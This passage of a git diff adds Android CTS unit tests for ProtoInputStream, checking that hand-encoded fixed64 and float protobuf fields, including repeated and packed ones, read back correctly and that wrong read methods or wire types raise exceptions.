+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.fixed64FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.fixed64FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_FIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x10,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 8 -> 1
+                (byte) 0x42,
+                (byte) 0x10,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x10,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x10,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x32,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x3a,
+                (byte) 0x10,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[0]);
+        testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED64;
+        final long FIELD_ID = fieldFlags | ((long) 102 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.fixed64FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.fixed64FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.fixed64FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x09,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x08,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readLong(FIELD_ID_1);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readLong(FIELD_ID_2);
+                        // don't fail, fixed64 is ok
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readLong(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed fixed64)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readLong(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFloatTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFloatTest.java
new file mode 100644
index 0000000..336fa57
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFloatTest.java
@@ -0,0 +1,678 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.io.IOException;
+
+public class ProtoInputStreamFloatTest extends TestCase {
+
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FLOAT;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+        final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+        final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x15,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+                // 10 -> 1
+                (byte) 0x55,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+                // 3 -> -1234.432
+                (byte) 0x1d,
+                (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+                // 4 -> 42.42
+                (byte) 0x25,
+                (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+                // 5 -> Float.MIN_NORMAL
+                (byte) 0x2d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 7 -> Float.NEGATIVE_INFINITY
+                (byte) 0x3d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
+                // 8 -> Float.NaN
+                (byte) 0x45,
+                (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+                // 9 -> Float.POSITIVE_INFINITY
+                (byte) 0x4d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        float[] results = new float[9];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readFloat(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readFloat(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readFloat(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readFloat(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5] = pi.readFloat(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6] = pi.readFloat(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    results[7] = pi.readFloat(FIELD_ID_8);
+                    break;
+                case (int) FIELD_ID_9:
+                    results[8] = pi.readFloat(FIELD_ID_9);
+                    break;
+                case (int) FIELD_ID_10:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+        assertEquals(0.0f, results[0]);
+        assertEquals(1.0f, results[1]);
+        assertEquals(-1234.432f, results[2]);
+        assertEquals(42.42f, results[3]);
+        assertEquals(Float.MIN_NORMAL, results[4]);
+        assertEquals(Float.MIN_VALUE, results[5]);
+        assertEquals(Float.NEGATIVE_INFINITY, results[6]);
+        assertEquals(Float.NaN, results[7]);
+        assertEquals(Float.POSITIVE_INFINITY, results[8]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1234.432f);
+        testReadCompat(42.42f);
+        testReadCompat(Float.MIN_NORMAL);
+        testReadCompat(Float.MIN_VALUE);
+        testReadCompat(Float.NEGATIVE_INFINITY);
+        testReadCompat(Float.NaN);
+        testReadCompat(Float.POSITIVE_INFINITY);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(float val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FLOAT;
+        final long FIELD_ID = fieldFlags | ((long) 20 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.floatField = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        float result = 0.0f; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readFloat(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.floatField, result);
+    }
+
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FLOAT;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+        final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+        final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x15,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+                // 3 -> -1234.432
+                (byte) 0x1d,
+                (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+                // 4 -> 42.42
+                (byte) 0x25,
+                (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+                // 5 -> Float.MIN_NORMAL
+                (byte) 0x2d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 7 -> Float.NEGATIVE_INFINITY
+                (byte) 0x3d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
+                // 8 -> Float.NaN
+                (byte) 0x45,
+                (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+                // 9 -> Float.POSITIVE_INFINITY
+                (byte) 0x4d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+
+                // 10 -> 1
+                (byte) 0x55,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x15,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+                // 3 -> -1234.432
+                (byte) 0x1d,
+                (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+                // 4 -> 42.42
+                (byte) 0x25,
+                (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+                // 5 -> Float.MIN_NORMAL
+                (byte) 0x2d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 7 -> Float.NEGATIVE_INFINITY
+                (byte) 0x3d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
+                // 8 -> Float.NaN
+                (byte) 0x45,
+                (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+                // 9 -> Float.POSITIVE_INFINITY
+                (byte) 0x4d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        float[][] results = new float[9][2];
+        int[] indices = new int[9];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readFloat(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readFloat(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readFloat(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readFloat(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readFloat(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readFloat(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readFloat(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    results[7][indices[7]++] = pi.readFloat(FIELD_ID_8);
+                    break;
+                case (int) FIELD_ID_9:
+                    results[8][indices[8]++] = pi.readFloat(FIELD_ID_9);
+                    break;
+                case (int) FIELD_ID_10:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+        assertEquals(0.0f, results[0][0]);
+        assertEquals(0.0f, results[0][1]);
+        assertEquals(1.0f, results[1][0]);
+        assertEquals(1.0f, results[1][1]);
+        assertEquals(-1234.432f, results[2][0]);
+        assertEquals(-1234.432f, results[2][1]);
+        assertEquals(42.42f, results[3][0]);
+        assertEquals(42.42f, results[3][1]);
+        assertEquals(Float.MIN_NORMAL, results[4][0]);
+        assertEquals(Float.MIN_NORMAL, results[4][1]);
+        assertEquals(Float.MIN_VALUE, results[5][0]);
+        assertEquals(Float.MIN_VALUE, results[5][1]);
+        assertEquals(Float.NEGATIVE_INFINITY, results[6][0]);
+        assertEquals(Float.NEGATIVE_INFINITY, results[6][1]);
+        assertEquals(Float.NaN, results[7][0]);
+        assertEquals(Float.NaN, results[7][1]);
+        assertEquals(Float.POSITIVE_INFINITY, results[8][0]);
+        assertEquals(Float.POSITIVE_INFINITY, results[8][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new float[0]);
+        testRepeatedCompat(new float[]{0, 1, -1234.432f, 42.42f,
+                Float.MIN_NORMAL, Float.MIN_VALUE, Float.NEGATIVE_INFINITY, Float.NaN,
+                Float.POSITIVE_INFINITY,
+        });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(float[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FLOAT;
+        final long FIELD_ID = fieldFlags | ((long) 21 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.floatFieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        float[] result = new float[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readFloat(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.floatFieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.floatFieldRepeated[i], result[i]);
+        }
+    }
+
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_FLOAT;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+        final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+        final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+                // 10 -> 1
+                (byte) 0x52,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+                // 3 -> -1234.432
+                (byte) 0x1a,
+                (byte) 0x08,
+                (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+                (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+                // 4 -> 42.42
+                (byte) 0x22,
+                (byte) 0x08,
+                (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+                (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+                // 5 -> Float.MIN_NORMAL
+                (byte) 0x2a,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte) 0x32,
+                (byte) 0x08,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 7 -> Float.NEGATIVE_INFINITY
+                (byte) 0x3a,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
